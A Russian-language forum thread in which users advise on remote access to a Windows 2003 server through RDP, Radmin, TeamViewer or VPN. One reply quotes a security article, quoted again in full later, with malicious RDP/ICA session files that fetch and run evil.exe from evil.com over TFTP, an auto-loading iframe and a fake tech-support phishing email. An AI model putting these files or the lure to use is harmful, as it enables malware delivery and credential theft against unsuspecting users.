как получить удаленный доступ к серверу

[reallab]

на работе вин 2к3 сервер интерпрайс эдишен сп2
надо получить к нему доступ с домашенго компа, полноценный доступ..
PS не взлом!!!

[dima84]

При помощи Anyplace Control можно, устанавливаешь на оба компьютера и работаешь из дома удаленно как за своим

[blastervii88]

радмин поставь 2.1 или 2.2

[Splain]

Не понимаю зачем себе голову морочить сторонними программами. Чем вас не устраивает обычное подключение к удаленному рабочему столу? (RDP)

[Cybermind]

Цитата: Сообщение от reallab на работе вин 2к3 сервер интерпрайс эдишен сп2 надо получить к нему доступ с домашенго компа, полноценный доступ.. PS не взлом!!!

Сервер к инету напрямую подключен? Или через какой либо роутер.

С удаленным рабочим столом все просто. Обычный терминал майкрософта. "Подключение к удаленному рабочему столу"

[Alan2006]

Вот по RDP инфа...
http://www.oszone.net/5383/
если сервак подключен к инету напрямую то просто по ссылке вроде описанно всё..
если нет - придётся делать проброс портов.....

[svk0]

только не рдп. потому что
АТАКИ ФИКСАЦИИ КОМАНД CITRIX/RDP

Атака такого типа осуществляется по довольно простому сценарию. Для того чтобы раскрыть конфиденциальные данные о пользователе, злоумышленнику нужно составить специальный файл RDP (для Windows Terminal Services) или ICA (для CITRIX) и отправить его для аутентификации. Жертву убеждают открыть файл. После установления соединения пользователь вводит свои данные для входа в систему и таким образом открывает двери злоумышленнику.

Как RDP, так и ICA-файлы содержат информацию не только о том, с каким сервером следует соединиться, но и о том, какие приложения следует запустить после успешной аутентификации. Злоумышленник может изменить эти параметры в своих целях. В CITRIX злоумышленник может определить интерпретатор командной строки по умолчанию, используя параметр Application (в примере Application=calc.exe). В службе Windows Terminal Services это реализуется с помощью инструкции alternate shell (в примере alternate shell:s:cmd.exe). Ниже приведен пример такого ICA-файла:

[WFClient]
Version=1
[ApplicationServers]
Connection To Citrix Server=
[Connection To Citrix Server]
InitialProgram= некоторая команда
Address=172.16.3.191
ScreenPercent=0

Аналог для Windows Terminal Services:

screen mode id:i:1
desktopwidth:i:800
desktopheight:i:600
session bpp:i:16
full address:s:172.16.3.191
compression:i:1
keyboardhook:i:2
alternate shell:s: некоторая команда
shell working directory:s:C:\
bitmapcachepersistenable:i:1

Рассмотрим алгоритм проведения атаки более подробно:

1. Создание вредоносного файла сессии работы с удаленным рабочим столом:

В приведенном ниже примере устанавливается соединение с сайтом evil.com по TFTP и осуществляется поиск файла evil.exe. После загрузки этого файла запускается evil.exe и затем сессия завершается.

screen mode id:i:1
desktopwidth:i:800
desktopheight:i:600
session bpp:i:16
full address:s:172.16.3.191
compression:i:1
keyboardhook:i:2
alternate shell:s:cmd.exe /C “tftp -i evil.com GET evil.exe
evil.exe & evil.exe”
shell working directory:s:C:\
bitmapcachepersistenable:i:1

2. Отправка жертве электронного письма:

Теперь злоумышленник должен продемонстрировать свои навыки в социальной инженерии и убедить жертву открыть и аутентифицировать файл сессии. Вот пример того, как может выглядеть подобное письмо:
Привет, Джон!

Это Тим из отдела технической поддержки. Мне сообщили, что у тебя возникли проблемы с управлением удаленным рабочим столом. Высылаю исправленный файл RDP, который ты можешь использовать. Открой его двойным щелчком мыши и введи логин и пароль (доменные учетные данные) и все заработает. Пиши, если возникнут какие-то проблемы.
Тим О’Брайан

Отдел Технической Поддержки

3. Получение данных:

Злоумышленник видит, что в его/ее файлы журнала TFTP были внесены изменения – атака прошла успешно. Теперь можно заняться извлечением выгоды из полученной информации.

То, что файлы ICA могут незаметно для пользователя исполняться в фоновом режиме в то время, когда жертва открывает вредоносный сайт в браузере Internet Explorer (любой версии), никак не меняет ситуацию. В процессе установки ICA-клиент настраивает специальные регистрационные записи Windows MIME-типа и связывает open action RDP-файлов с клиентом. Таким образом, приведенный ниже HTML-код успешно запустит исполнение ICA-файла, даже не требуя получения от пользователя разрешения на это действие:

<iframe src="http://evil.com/path/to/evil.ica"></iframe>

Необходимо также отметить, что ICA-клиент поставляется вместе с контроллером сценариев ActiveX, который, как заявлено, безопасен для написания сценариев. Это означает, что внешний сайт может включить этот контроллер в свои страницы без авторизации пользователя. Контроллер может быть запрограммирован на автоматическое определение ближайших серверов CITRIX и установление соединения с ними с помощью механизма сквозной проверки подлинности. При сквозной проверке подлинности для аутентификации на сервере CITRIX используются текущие NT-учетные данные жертвы. Таким образом, злоумышленник получает возможность выполнять команды как текущий пользователь в окружении сервера CITRIX без какого-либо взаимодействия с жертвой.

Вспомним, что для осуществления автоматического поиска ближайших серверов CITRIX на клиенте должен быть установлен пакет ПО CITRIX Neighborhood. В процесс автоматического ввода регистрационного имени будут включены все серверы, зарегистрированные в этой локальной сети. Однако даже если в сети клиента не зарегистрировано ни одного сервера CITRIX, или на клиенте вообще не установлен пакет CITRIX Neighborhood, злоумышленники могут просто перебрать наиболее распространенные имена CITRIX-северов, такие как CITRIX01, CITRIX02 и т.п., через контроллер клиента ICA ActiveX и найти таким образом какой-нибудь сервер для внедрения своих команд.

Приведенный ниже код демонстрирует осуществление атаки фиксации команд на CITRIX с помощью механизма сквозной проверки подлинности на соседнем сервере.

[WFClient]
Version=1
[ApplicationServers]
Connection To Citrix Server=
[Connection To Citrix Server]
AutoLogonAllowed=On
UseLocalUserAndPassword=On
InitialProgram=cmd.exe /C "tftp -i evil.com GET evil.exe evil.exe &
evil.exe"
ScreenPercent=0
CITRIX auto-start
http://www.securitylab.ru/analytics/382734.php

[chel007]

Цитата: Сообщение от reallab на работе вин 2к3 сервер интерпрайс эдишен сп2 надо получить к нему доступ с домашенго компа, полноценный доступ.. PS не взлом!!!

полностью согласен удаленный рабочий стол очень удобен не только с твоего компа зайти но и с любого места где есть комп с нетом ничего лишнего и проги не надо ставить, начиная с xp есть во всех виндах

[Daemon_Hell]

Цитата: Сообщение от svk0 только не рдп. потому что АТАКИ ФИКСАЦИИ КОМАНД CITRIX/RDP Атака такого типа осуществляется по довольно простому сценарию. Для того чтобы раскрыть конфиденциальные данные о пользователе, злоумышленнику нужно составить специальный файл RDP (для Windows Terminal Services) или ICA (для CITRIX) и отправить его для аутентификации. Жертву убеждают открыть файл. После установления соединения пользователь вводит свои данные для входа в систему и таким образом открывает двери злоумышленнику. Как RDP, так и ICA-файлы содержат информацию не только о том, с каким сервером следует соединиться, но и о том, какие приложения следует запустить после успешной аутентификации. Злоумышленник может изменить эти параметры в своих целях. В CITRIX злоумышленник может определить интерпретатор командной строки по умолчанию, используя параметр Application (в примере Application=calc.exe). В службе Windows Terminal Services это реализуется с помощью инструкции alternate shell (в примере alternate shell:s:cmd.exe). Ниже приведен пример такого ICA-файла: [WFClient] Version=1 [ApplicationServers] Connection To Citrix Server= [Connection To Citrix Server] InitialProgram= некоторая команда Address=172.16.3.191 ScreenPercent=0 Аналог для Windows Terminal Services: screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 full address:s:172.16.3.191 compression:i:1 keyboardhook:i:2 alternate shell:s: некоторая команда shell working directory:s:C:\ bitmapcachepersistenable:i:1 Рассмотрим алгоритм проведения атаки более подробно: 1. Создание вредоносного файла сессии работы с удаленным рабочим столом: В приведенном ниже примере устанавливается соединение с сайтом evil.com по TFTP и осуществляется поиск файла evil.exe. После загрузки этого файла запускается evil.exe и затем сессия завершается. screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 full address:s:172.16.3.191 compression:i:1 keyboardhook:i:2 alternate shell:s:cmd.exe /C “tftp -i evil.com GET evil.exe evil.exe & evil.exe” shell working directory:s:C:\ bitmapcachepersistenable:i:1 2. Отправка жертве электронного письма: Теперь злоумышленник должен продемонстрировать свои навыки в социальной инженерии и убедить жертву открыть и аутентифицировать файл сессии. Вот пример того, как может выглядеть подобное письмо: Привет, Джон! Это Тим из отдела технической поддержки. Мне сообщили, что у тебя возникли проблемы с управлением удаленным рабочим столом. Высылаю исправленный файл RDP, который ты можешь использовать. Открой его двойным щелчком мыши и введи логин и пароль (доменные учетные данные) и все заработает. Пиши, если возникнут какие-то проблемы. Тим О’Брайан Отдел Технической Поддержки 3. Получение данных: Злоумышленник видит, что в его/ее файлы журнала TFTP были внесены изменения – атака прошла успешно. Теперь можно заняться извлечением выгоды из полученной информации. То, что файлы ICA могут незаметно для пользователя исполняться в фоновом режиме в то время, когда жертва открывает вредоносный сайт в браузере Internet Explorer (любой версии), никак не меняет ситуацию. В процессе установки ICA-клиент настраивает специальные регистрационные записи Windows MIME-типа и связывает open action RDP-файлов с клиентом. Таким образом, приведенный ниже HTML-код успешно запустит исполнение ICA-файла, даже не требуя получения от пользователя разрешения на это действие: <iframe src="http://evil.com/path/to/evil.ica"></iframe> Необходимо также отметить, что ICA-клиент поставляется вместе с контроллером сценариев ActiveX, который, как заявлено, безопасен для написания сценариев. Это означает, что внешний сайт может включить этот контроллер в свои страницы без авторизации пользователя. Контроллер может быть запрограммирован на автоматическое определение ближайших серверов CITRIX и установление соединения с ними с помощью механизма сквозной проверки подлинности. При сквозной проверке подлинности для аутентификации на сервере CITRIX используются текущие NT-учетные данные жертвы. Таким образом, злоумышленник получает возможность выполнять команды как текущий пользователь в окружении сервера CITRIX без какого-либо взаимодействия с жертвой. Вспомним, что для осуществления автоматического поиска ближайших серверов CITRIX на клиенте должен быть установлен пакет ПО CITRIX Neighborhood. В процесс автоматического ввода регистрационного имени будут включены все серверы, зарегистрированные в этой локальной сети. Однако даже если в сети клиента не зарегистрировано ни одного сервера CITRIX, или на клиенте вообще не установлен пакет CITRIX Neighborhood, злоумышленники могут просто перебрать наиболее распространенные имена CITRIX-северов, такие как CITRIX01, CITRIX02 и т.п., через контроллер клиента ICA ActiveX и найти таким образом какой-нибудь сервер для внедрения своих команд. Приведенный ниже код демонстрирует осуществление атаки фиксации команд на CITRIX с помощью механизма сквозной проверки подлинности на соседнем сервере. [WFClient] Version=1 [ApplicationServers] Connection To Citrix Server= [Connection To Citrix Server] AutoLogonAllowed=On UseLocalUserAndPassword=On InitialProgram=cmd.exe /C "tftp -i evil.com GET evil.exe evil.exe & evil.exe" ScreenPercent=0 CITRIX auto-start http://www.securitylab.ru/analytics/382734.php

Это уже соц.инженерия. Куда неприятнее что трафик RDP не шифруется. Но от этого спасет vpn.

[PLAstic]

Здесь всё расписано.
Я не глубоко знаком с протоколом RDP, однако косвенно шифрование в статье упоминается. Единственное, для этого нужен клиент 6.0, сервер 2008 и шлюз RDP:

Цитата: Шлюз TS использует протокол удаленного рабочего стола (RDP) с протоколом HTTPS, что позволяет создать более безопасное шифрованное подключение.

[FishBones]

TS Gateway действительно передает RDP по протоколу SSL. Однако если реальный ШЗ один и на нем уже чтото висит (f.e. OWA), то связка не заработает TS Gateway не может принимать соединения на порт отличный от 443

альтернативный вариант - Team Viewer (это когда нет возможности TS GAteway использовать)

[Daemon_Hell]

Цитата: Сообщение от PLAstic Здесь всё расписано. Я не глубоко знаком с протоколом RDP, однако косвенно шифрование в статье упоминается. Единственное, для этого нужен клиент 6.0, сервер 2008 и шлюз RDP:

Пока не видел ни одной организации с 2008 сервером

[ijack]

нормальный вариант - vpn + rdp.

[pavlushka11]

Полностью поддерживаю.. зачем придумывать вилосипед когда ВПН+ RDP давно себя зарекомендовали.

[benzol]

RDP даёт серьёзные сложности при отсутсвии реального IP за всякими NATами - приходится провешивать порты. Тогда проще TeamViwer - устанавливает соединение через сервер и ему всё равно на все наты.